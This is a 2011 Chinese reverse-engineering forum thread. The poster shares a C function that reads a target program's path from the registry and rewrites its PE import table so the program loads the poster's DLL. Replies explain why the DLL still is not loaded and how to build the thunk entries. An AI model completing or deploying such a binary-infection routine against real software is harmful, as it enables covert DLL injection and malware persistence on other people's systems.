首页
社区
课程
招聘
[求助]C语言感染PE增加导入表IDD实现注入
发表于: 2011-9-21 12:57 12849

[求助]C语言感染PE增加导入表IDD实现注入

2011-9-21 12:57
12849
以下代码测试成功修改了目标PE的导入表.并增加了新导入项.可事实上目标PE启动并没有加载我的DLL.望前辈高人能给与指点.小弟拜谢先

int InfectImport(const char* Value,const char* Sub,const char* Name)
{
	int									 Loop=0;
	char								 Path[MAX_PATH]={0};
	HKEY								 Key=0;
	FILE*								 File=0;
	char*								 Buffer=0;
	unsigned long						 Size=0;
	unsigned long						 Offset=0;
	unsigned long						 Length=MAX_PATH;
	EXCEPTION_POINTERS*					 Exception=0;
	IMAGE_DOS_HEADER					 Dos={0};
	IMAGE_NT_HEADERS					 NT={0};
	IMAGE_DATA_DIRECTORY*				 Directory={0};
	IMAGE_IMPORT_DESCRIPTOR*			 Import={0};
	IMAGE_SECTION_HEADER				 Section={0};
	__try
	{
		__try
		{
			RegOpenKeyEx(HKEY_LOCAL_MACHINE,Value,0,KEY_READ,&Key);
			RegQueryValueEx(Key,Sub,0,0,Path,&Length);
			fopen_s(&File,Path,TEXT("rb+"));
			fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File);
			fseek(File,Dos.e_lfanew,SEEK_SET);
			fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File);
			fseek(File,Dos.e_lfanew+0xf8+0x28,SEEK_SET);
			fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File);
			//以上部分打开注册表查找目标程序路径.并打开文件流.读取DOS结构,NT结构和数据节
			Size			=NT.OptionalHeader.DataDirectory[1].Size;
			Offset			=Section.PointerToRawData+Section.Misc.VirtualSize;
			Buffer			=calloc(Size,sizeof(char));
			Import			=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR));
			Directory		=malloc(sizeof(IMAGE_DATA_DIRECTORY));
			//以上部分获取导入表尺寸和数据节空隙的起始位置.并申请一些必要的空间
			fseek(File,Offset,SEEK_SET);
			fwrite(Name,sizeof(char),16,File);
			//以上部分在空隙起始位置写入自己的DLL名称
			Import->Characteristics			=0;
			Import->FirstThunk				=Offset+0x14;
			Import->ForwarderChain			=0;
			Import->Name					=Offset;
			Import->OriginalFirstThunk		=Offset+0x10;
			Import->TimeDateStamp			=0;
			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET);
			fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File);
			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET);
			fread(Buffer,sizeof(char),Size,File);
			fseek(File,Offset+0x18,SEEK_SET);
			fwrite(Buffer,sizeof(char),Size,File);
			Directory->Size						=Size+0x14;
			Directory->VirtualAddress			=Offset+0x18;
			fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET);
			fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File);
			//以上部分为重建导入表
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			Exception=GetExceptionInformation();
			//看心情作一些异常处理的工作
		}
	}
	__finally
	{
		free(Buffer);
		free(Import);
		free(Directory);
		RegCloseKey(Key);
		_fcloseall();
	}
	return 0;
} 




以上代码为测试所用.细节不够严谨.

不过如有前辈高人.看出有些原则错误和逻辑错误.请指点.小弟虚心改正.

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (19)
雪    币: 75
活跃值: (703)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
增加一个导入函数就好了了
2011-9-21 13:32
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
前辈能否详细指点一下呢?

能给个写法嘛?
2011-9-21 15:39
0
雪    币: 75
活跃值: (703)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
好像仅仅在导入表里新增一个导入项,但若没有导入任何该导入项对应的dll的导出函数,这个dll是不会被加载.
解决方法就是...OriginalFirstThunk ->   构造一个导入函数的完整的IMAGE_THUNK_DATA(如果是用函数名,还要构造IMAGE_IMPORT_BY_NAME结构.方法跟你构造 IMAGE_IMPORT_DESCRIPTOR结构一样
2011-9-21 17:17
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
前辈我按照你说的。 又构造这2个表  OriginalFirstThunk(导入名称表) 和 FirstThunk

(导入地址表)  PEID 显示加入了 我的DLL这个导入项 并且显示导入了我的函数。

可是目标PE已经无法启动了。问题出在FirstThunk 这个地方。 我把这个地方写0 程序正常启动

但是还是不能加载我的DLL。 这个地方如果写入值 。程序就启动不了啦 。

还有一个问题。 我单纯构造一个导入函数 。目标PE是否仍然不会加载我的DLL。

只有目标PE真正调用我的函数 。才会加载吧?

我是否该在 OEP处先调用一下我的导出函数呢 ?
2011-9-22 01:03
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
大家早.

拦截一下.请求帮助.
2011-9-22 09:01
0
雪    币: 2242
活跃值: (488)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
7
thunk array要以0结尾,
OriginalFirstThunk可不填
      Import->FirstThunk        = Offset+0x10; //*(DWORD*)(Offset+0x14) = 0;
      Import->OriginalFirstThunk    = 0;
2011-9-22 11:07
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
疯子哥。 我知道这两个表 都需要0结尾 所以。

OriginalFirstThunk(导入名称表) 我开辟了20个字节。2字节 放入HINT号 14字节放入

导入函数名。构造BY_NAME结构。另外4字节清零做结尾。

FirstThunk (导入地址表) 我开辟8字节。 4字节放入函数地址的RVA 另外4字节清0作结束

如果8字节全0 那目标正常运行。 如果添加了RVA 目标就不能启动了。

而这个指向函数地址的RVA 指向的地址。 我并没有添加值。 因为我不知道我DLL导出的函数

的地址。 我一直认为填入这个实际地址的工作是PE加载器的工作。

不知道怎么计算函数导入的实际地址。
2011-9-22 11:41
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
各位晚上好.

我再来拦截一下吧.

请求帮助咯.
2011-9-22 20:23
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
各位早上好.

我再来拦截一下吧.

请求帮助咯.
2011-9-23 08:19
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
各位上午好.

拦截一下

请求帮助
2011-9-23 11:34
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
各位下午好.

拦截一下

请求帮助
2011-9-23 16:40
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
13
各位晚上好.

拦截一下

请求帮助
2011-9-23 19:13
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
还是没有人帮助

这问题也不知道是太简单还是太难了.

或者是题的方法不正确.

咋就没人回呢?
2011-9-24 09:12
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
O ye!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2011-9-24 12:39
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
16
灌水实在无耻
2011-9-24 14:20
0
雪    币: 242
活跃值: (468)
能力值: ( LV11,RANK:188 )
在线值:
发帖
回帖
粉丝
17
http://www.ntcore.com/files/inject2it.htm
:P
2011-9-24 16:54
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
18
等我看一下再作计较
2011-9-24 17:19
0
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
detours的例子里面不是有吗
2011-9-24 18:02
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
20
ms钩子库里有这种例子?

那我下来看看.
2011-9-25 08:23
0
游客
登录 | 注册 方可回帖
返回
//